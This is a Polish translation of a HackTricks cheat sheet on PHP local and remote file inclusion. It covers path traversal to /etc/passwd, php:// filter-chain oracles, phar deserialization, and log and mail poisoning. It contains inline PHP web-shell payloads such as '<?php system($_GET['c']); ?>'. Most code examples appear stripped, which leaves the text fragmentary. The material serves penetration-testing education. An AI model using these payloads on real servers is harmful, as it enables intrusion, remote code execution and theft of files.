<summary><strong>Naucz się hakować AWS od zera do bohatera z</strong><ahref="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
* Jeśli chcesz zobaczyć swoją **firmę reklamowaną w HackTricks** lub **pobrać HackTricks w formacie PDF**, sprawdź [**PLANY SUBSKRYPCYJNE**](https://github.com/sponsors/carlospolop)!
* **Dołącz do** 💬 [**Grupy Discord**](https://discord.gg/hRep4RUj7f) lub [**grupy telegramowej**](https://t.me/peass) lub **śledź** nas na **Twitterze** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Podziel się swoimi sztuczkami hakerskimi, przesyłając PR-y do** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) na GitHubie.
**Zdalne Włączenie Pliku (RFI):** Plik jest ładowany z zdalnego serwera (Najlepiej: Możesz napisać kod, a serwer go wykonuje). W php jest to **wyłączone** domyślnie (**allow\_url\_include**).\
Listę, która wykorzystuje kilka technik do znalezienia pliku /etc/password (aby sprawdzić, czy istnieje podatność), można znaleźć [tutaj](https://github.com/xmendez/wfuzz/blob/master/wordlist/vulns/dirTraversal-nix.txt)
Listę, która wykorzystuje kilka technik do znalezienia pliku /boot.ini (aby sprawdzić, czy istnieje podatność), można znaleźć [tutaj](https://github.com/xmendez/wfuzz/blob/master/wordlist/vulns/dirTraversal-win.txt)
Wszystkie przykłady dotyczą Local File Inclusion, ale mogą być również stosowane do Remote File Inclusion (strona=[http://myserver.com/phpshellcode.txt\\](http://myserver.com/phpshellcode.txt\)/).
System plików serwera można badać rekurencyjnie, aby zidentyfikować katalogi, a nie tylko pliki, stosując określone techniki. Proces ten polega na określeniu głębokości katalogu i sprawdzaniu istnienia określonych folderów. Poniżej znajduje się szczegółowa metoda osiągnięcia tego:
1.**Określenie głębokości katalogu:** Określ głębokość bieżącego katalogu, pobierając pomyślnie plik `/etc/passwd` (dotyczy to serwera opartego na systemie Linux). Przykładowy adres URL może być zbudowany w następujący sposób, wskazując na głębokość trzech:
2.**Sondowanie folderów:** Dołącz nazwę podejrzanego folderu (np. `private`) do adresu URL, a następnie przejdź z powrotem do `/etc/passwd`. Dodatkowy poziom katalogu wymaga zwiększenia głębokości o jeden:
* **Błąd / Brak wyniku:** Folder `private` prawdopodobnie nie istnieje pod wskazaną lokalizacją.
* **Zawartość `/etc/passwd`:** Potwierdza obecność folderu `private`.
4.**Rekursywne badanie:** Odkryte foldery można dalej sprawdzać pod kątem podfolderów lub plików, korzystając z tej samej techniki lub tradycyjnych metod Local File Inclusion (LFI).
Aby badać katalogi w różnych lokalizacjach w systemie plików, dostosuj ładunek odpowiednio. Na przykład, aby sprawdzić, czy `/var/www/` zawiera katalog `private` (zakładając, że bieżący katalog znajduje się na głębokości 3), użyj:
Skracanie ścieżki to metoda stosowana do manipulowania ścieżkami plików w aplikacjach internetowych. Często jest używana do uzyskiwania dostępu do ograniczonych plików poprzez obejście pewnych środków bezpieczeństwa, które dodają dodatkowe znaki na końcu ścieżek plików. Celem jest stworzenie ścieżki pliku, która po zmianie przez środek bezpieczeństwa nadal wskazuje na pożądany plik.
Przedstawione przykłady pokazują, jak wykorzystać skracanie ścieżki do uzyskania dostępu do `/etc/passwd`, popularnego celu ze względu na swoją wrażliwą zawartość (informacje o kontach użytkowników):
* **Używanie kropek i dodatkowych znaków**: Sekwencje traversals (`../`) połączone z dodatkowymi kropkami i znakami mogą być używane do nawigacji po systemie plików, efektywnie ignorując dołączone ciągi przez serwer.
* **Określenie wymaganej liczby traversals**: Poprzez próbę i błąd można znaleźć dokładną liczbę sekwencji `../` potrzebną do nawigacji do katalogu głównego, a następnie do `/etc/passwd`, zapewniając, że wszelkie dołączone ciągi (np. `.php`) są zneutralizowane, ale żądana ścieżka (`/etc/passwd`) pozostaje nietknięta.
* **Rozpoczęcie od fałszywego katalogu**: To powszechne praktyka rozpoczynania ścieżki od nieistniejącego katalogu (np. `a/`). Ta technika jest stosowana jako środek ostrożności lub do spełnienia wymagań logiki analizy ścieżki serwera.
Podczas korzystania z technik skracania ścieżki, kluczowe jest zrozumienie zachowania analizy ścieżki serwera i struktury systemu plików. Każdy scenariusz może wymagać innego podejścia, a testowanie jest często konieczne, aby znaleźć najbardziej skuteczną metodę.
W PHP jest to domyślnie wyłączone, ponieważ **`allow_url_include`** jest ustawione na **Off.** Musi być ustawione na **On**, aby działało, w takim przypadku można dołączyć plik PHP z serwera i uzyskać RCE:
Jeśli z jakiegoś powodu **`allow_url_include`** jest **Włączone**, ale PHP **filtrowanie** dostępu do zewnętrznych stron, [zgodnie z tym postem](https://matan-h.com/one-lfi-bypass-to-rule-them-all-using-base64/), można na przykład użyć protokołu danych z base64 do odszyfrowania kodu PHP w formacie b64 i uzyskać RCE:
W poprzednim kodzie końcówka `+.txt` została dodana, ponieważ atakujący potrzebował ciągu znaków kończącego się na `.txt`, więc ciąg kończy się tym i po zdekodowaniu b64 ta część zwróci tylko śmieci, a prawdziwy kod PHP zostanie dołączony (a co za tym idzie, wykonany).
> Jeśli komponent jest ścieżką bezwzględną, wszystkie poprzednie komponenty są odrzucane, a łączenie kontynuuje się od komponentu ścieżki bezwzględnej.
Wygląda na to, że jeśli masz Traversal Path w Javie i **poprosisz o katalog** zamiast pliku, **zostanie zwrócone listowanie katalogu**. To nie będzie miało miejsca w innych językach (o ile mi wiadomo).
Oto lista 25 najważniejszych parametrów, które mogą być podatne na lokalne włączenie plików (LFI) (z [linka](https://twitter.com/trbughunters/status/1279768631845494787)):
*`convert.iconv.*` : Przekształca do innej kodowania (`convert.iconv.<input_enc>.<output_enc>`). Aby uzyskać **listę wszystkich obsługiwanych kodowań**, uruchom w konsoli: `iconv -l`
Wykorzystując filtr konwersji `convert.iconv.*` można **generować dowolny tekst**, co może być przydatne do zapisywania dowolnego tekstu lub tworzenia funkcji, takiej jak proces dołączania dowolnego tekstu. Aby uzyskać więcej informacji, sprawdź [**LFI2RCE za pomocą filtrów php**](lfi2rce-via-php-filters.md).
[W tym poście](https://www.synacktiv.com/publications/php-filter-chains-file-read-from-error-based-oracle) zaproponowano technikę odczytywania lokalnego pliku bez konieczności otrzymywania odpowiedzi zwrotnej od serwera. Ta technika opiera się na **eksfiltracji pliku (znak po znaku) za pomocą filtrów php** jako orakulum. Jest to możliwe, ponieważ filtry php mogą być używane do zwiększenia tekstu na tyle, aby php wygenerował wyjątek.
* Filtr **dechunk** usunie **wszystko, jeśli pierwszy znak nie jest szesnastkowy**, dzięki czemu możemy dowiedzieć się, czy pierwszy znak jest szesnastkowy.
* To, połączone z poprzednim (i innymi filtrami w zależności od odgadniętej litery), pozwoli nam odgadnąć literę na początku tekstu, obserwując, kiedy wykonamy wystarczająco dużo transformacji, aby przestała być to znakiem szesnastkowym. Ponieważ jeśli jest to szesnastkowe, dechunk go nie usunie, a początkowa bomba spowoduje błąd php.
* Koder **convert.iconv.UNICODE.CP930** przekształca każdą literę w kolejną (więc po tym koderze: a -> b). Pozwala to nam dowiedzieć się, czy pierwsza litera to na przykład `a`, ponieważ jeśli zastosujemy 6 razy ten koder a->b->c->d->e->f->g, litera przestaje być znakiem szesnastkowym, dlatego dechunk go nie usunie, a błąd php zostanie wywołany, ponieważ mnoży się z początkową bombą.
* Korzystając z innych transformacji, takich jak **rot13** na początku, możliwe jest wycieknięcie innych znaków, takich jak n, o, p, q, r (i inne kody mogą być używane do przenoszenia innych liter do zakresu szesnastkowego).
* Gdy początkowy znak to liczba, konieczne jest zakodowanie jej w base64 i wycieknięcie 2 pierwszych liter, aby ujawnić liczbę.
* Ostatecznym problemem jest zobaczenie, **jak wyciekać więcej niż początkowa litera**. Korzystając z filtrów pamięci porządkowej, takich jak **convert.iconv.UTF16.UTF-16BE, convert.iconv.UCS-4.UCS-4LE, convert.iconv.UCS-4.UCS-4LE**, możliwe jest zmienienie kolejności znaków i uzyskanie w pierwszej pozycji innych liter tekstu.
* Aby móc uzyskać **więcej danych**, pomysłem jest **generowanie 2 bajtów danych śmieciowych na początku** za pomocą **convert.iconv.UTF16.UTF16**, zastosowanie **UCS-4LE** aby to **obrócić z następnymi 2 bajtami**, i **usunięcie danych do danych śmieciowych** (to usunie pierwsze 2 bajty początkowego tekstu). Kontynuuj to aż osiągniesz pożądany bit do wycieku.
W poście ujawniono również narzędzie do automatycznego wykonania tego: [php\_filters\_chain\_oracle\_exploit](https://github.com/synacktiv/php\_filter\_chains\_oracle\_exploit).
Możesz również użyć **php://stdin, php://stdout i php://stderr** do uzyskania dostępu do **deskryptorów plików 0, 1 i 2** odpowiednio (nie jestem pewien, jak może to być przydatne w ataku)
Data URI (Uniform Resource Identifier) jest specjalnym typem URI, który pozwala osadzać dane bezpośrednio w kodzie źródłowym strony internetowej. Może być używany do osadzania małych plików, takich jak obrazy lub style CSS, bez konieczności odwoływania się do zewnętrznego pliku. Aby użyć Data URI, należy zakodować dane binarne (takie jak obraz) za pomocą Base64 i umieścić je bezpośrednio w adresie URI. Jest to przydatne narzędzie, które może być wykorzystane w celu zwiększenia wydajności strony internetowej poprzez zmniejszenie liczby zewnętrznych żądań HTTP.
Plik `.phar` może być wykorzystany do wykonania kodu PHP, gdy aplikacja internetowa wykorzystuje funkcje takie jak `include` do ładowania plików. Poniższy fragment kodu PHP demonstruje tworzenie pliku `.phar`:
Podczas wykonywania zostanie utworzony plik o nazwie `test.phar`, który potencjalnie może być wykorzystany do wykorzystania podatności na lokalne uwzględnienie plików (LFI).
W przypadkach, gdy LFI wykonuje tylko odczyt plików bez wykonywania kodu PHP wewnątrz, poprzez funkcje takie jak `file_get_contents()`, `fopen()`, `file()`, `file_exists()`, `md5_file()`, `filemtime()`, lub `filesize()`, można próbować wykorzystać podatność na deserializację. Ta podatność jest związana z odczytem plików za pomocą protokołu `phar`.
Dla szczegółowego zrozumienia wykorzystywania podatności na deserializację w kontekście plików `.phar`, zapoznaj się z dokumentem podlinkowanym poniżej:
* [php://memory i php://temp](https://www.php.net/manual/en/wrappers.php.php#wrappers.php.memory) — Zapis w pamięci lub w pliku tymczasowym (nie jestem pewien, jak może to być przydatne w ataku na uwzględnienie plików)
* [glob://](https://www.php.net/manual/en/wrappers.glob.php) — Znajdź nazwy ścieżek pasujące do wzorca (Nie zwraca nic drukowalnego, więc tutaj nie jest naprawdę przydatne)
Ryzyko lokalnego uwzględnienia plików (LFI) w PHP jest szczególnie wysokie przy korzystaniu z funkcji 'assert', która może wykonywać kod wewnątrz ciągów znaków. Jest to szczególnie problematyczne, jeśli wejście zawiera znaki nawigacji po katalogach, takie jak "..", które są sprawdzane, ale nie są odpowiednio oczyszczone.
W czasie gdy to ma na celu zatrzymanie traversala, niechcący tworzy wektor dla wstrzykiwania kodu. Aby wykorzystać to do odczytu zawartości pliku, atakujący mógłby użyć:
Ta technika jest istotna w przypadkach, gdy **kontrolujesz****ścieżkę pliku** funkcji **PHP**, która **będzie miała dostęp do pliku**, ale nie zobaczysz zawartości pliku (jak proste wywołanie **`file()`**), ale zawartość nie jest wyświetlana.
W [**tym niesamowitym poście**](https://www.synacktiv.com/en/publications/php-filter-chains-file-read-from-error-based-oracle.html) wyjaśniono, jak ślepa trawersacja ścieżki może być nadużyta za pomocą filtru PHP do **eksfiltracji zawartości pliku za pomocą orakulum błędów**.
Podsumowując, technika polega na użyciu kodowania **"UCS-4LE"**, aby zawartość pliku była tak **duża**, że **funkcja PHP otwierająca** plik spowoduje **błąd**.
Następnie, aby ujawnić pierwszy znak, filtr **`dechunk`** jest używany wraz z innymi, takimi jak **base64** lub **rot13**, a na końcu filtry **convert.iconv.UCS-4.UCS-4LE** i **convert.iconv.UTF16.UTF-16BE** są używane do **umieszczenia innych znaków na początku i ujawnienia ich**.
**Funkcje, które mogą być podatne**: `file_get_contents`, `readfile`, `finfo->file`, `getimagesize`, `md5_file`, `sha1_file`, `hash_file`, `file`, `parse_ini_file`, `copy`, `file_put_contents (tylko docelowe tylko do odczytu z tym)`, `stream_get_contents`, `fgets`, `fread`, `fgetc`, `fgetcsv`, `fpassthru`, `fputs`
Jeśli serwer Apache lub Nginx jest **podatny na LFI** wewnątrz funkcji dołączania, możesz spróbować uzyskać dostęp do **`/var/log/apache2/access.log` lub `/var/log/nginx/access.log`**, ustaw w **nagłówku użytkownika** lub w **parametrze GET** powłokę PHP taką jak **`<?php system($_GET['c']); ?>`** i dołącz ten plik
Zauważ, że **jeśli używasz podwójnych cudzysłowów** dla powłoki zamiast **pojedynczych cudzysłowów**, podwójne cudzysłowy zostaną zmienione na ciąg "_**quote;**_", **PHP wyrzuci błąd** i **nic więcej nie będzie wykonane**.
Upewnij się również, że **poprawnie zapisujesz ładunek** lub PHP będzie generować błąd za każdym razem, gdy spróbuje załadować plik dziennika i nie będziesz miał drugiej szansy.
To samo można zrobić w innych dziennikach, ale **bądź ostrożny**, kod wewnątrz dzienników może być zakodowany w adresie URL i może to zniszczyć Powłokę. Nagłówek **autoryzacji "basic"** zawiera "użytkownik:hasło" w Base64 i jest dekodowany wewnątrz dzienników. PHPShell można wstawić wewnątrz tego nagłówka.\
### Za pomocą listy słów Fuzzing: [https://github.com/danielmiessler/SecLists/tree/master/Fuzzing/LFI](https://github.com/danielmiessler/SecLists/tree/master/Fuzzing/LFI)
**Wyślij e-mail** do wewnętrznego konta (user@localhost) zawierający swój ładunek PHP, na przykład `<?php echo system($_REQUEST["cmd"]); ?>`, i spróbuj dołączyć do maila użytkownika ścieżkę taką jak **`/var/mail/<USERNAME>`** lub **`/var/spool/mail/<USERNAME>`**
2. Dołącz [http://example.com/index.php?page=/proc/$PID/fd/$FD](http://example.com/index.php?page=/proc/$PID/fd/$FD), gdzie $PID = PID procesu (może być brutalnie narzucany) i $FD deskryptor pliku (również może być brutalnie narzucany)
Dzienniki serwera FTP vsftpd znajdują się w _**/var/log/vsftpd.log**_. W przypadku istnienia podatności na Włączenie Lokalnego Pliku (LFI) i możliwości dostępu do narażonego serwera vsftpd, można rozważyć następujące kroki:
Jak pokazano w [tym](https://matan-h.com/one-lfi-bypass-to-rule-them-all-using-base64) artykule, filtr base64 PHP po prostu ignoruje Non-base64. Możesz użyć tego do ominięcia sprawdzania rozszerzenia pliku: jeśli dostarczysz base64 kończący się na ".php", to po prostu zignoruje "." i dołączy "php" do base64. Oto przykładowy ładunek:
Ten [**opis**](https://gist.github.com/loknop/b27422d355ea1fd0d90d6dbc1e278d4d) wyjaśnia, że można użyć **filtrów php do generowania dowolnej zawartości** jako wyniku. Oznacza to w zasadzie, że można **generować dowolny kod php** do dołączenia **bez konieczności zapisywania** go do pliku.
**Prześlij** plik, który zostanie przechowywany jako **tymczasowy** w `/tmp`, a następnie w **tym samym żądaniu,** wywołaj **błąd segmentacji**, a następnie **tymczasowy plik nie zostanie usunięty** i będziesz mógł go wyszukać.
Jeśli znalazłeś **Lokalne Włączenie Pliku** nawet jeśli **nie masz sesji** i `session.auto_start` jest ustawione na `Off`. Jeśli dostarczysz **`PHP_SESSION_UPLOAD_PROGRESS`** w danych **multipart POST**, PHP **włączy sesję za ciebie**. Możesz wykorzystać to do uzyskania RCE:
Jeśli znalazłeś **Lokalne Włączenie Pliku** i **możesz wydobyć ścieżkę** pliku tymczasowego, ALE **serwer** sprawdza, czy **plik do dołączenia ma znaczniki PHP**, możesz spróbować **obejść tę kontrolę** za pomocą tej **Race Condition**:
Jeśli możesz wykorzystać LFI do **przesyłania tymczasowych plików** i spowodować **zawieszenie wykonania PHP na serwerze**, możesz następnie **próbować brutalnej siły nazw plików przez godziny**, aby znaleźć tymczasowy plik:
Jeśli dołączysz którykolwiek z plików `/usr/bin/phar`, `/usr/bin/phar7`, `/usr/bin/phar.phar7`, `/usr/bin/phar.phar`. (Musisz dołączyć ten sam plik 2 razy, aby spowodować ten błąd).
<summary><strong>Dowiedz się, jak hakować AWS od zera do bohatera z</strong><ahref="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
* Jeśli chcesz zobaczyć swoją **firmę reklamowaną w HackTricks** lub **pobrać HackTricks w formacie PDF**, sprawdź [**PLANY SUBSKRYPCYJNE**](https://github.com/sponsors/carlospolop)!
* **Dołącz do** 💬 [**grupy Discord**](https://discord.gg/hRep4RUj7f) lub [**grupy telegramowej**](https://t.me/peass) lub **śledź** nas na **Twitterze** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Podziel się swoimi sztuczkami hakerskimi, przesyłając PR-y do** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) na githubie.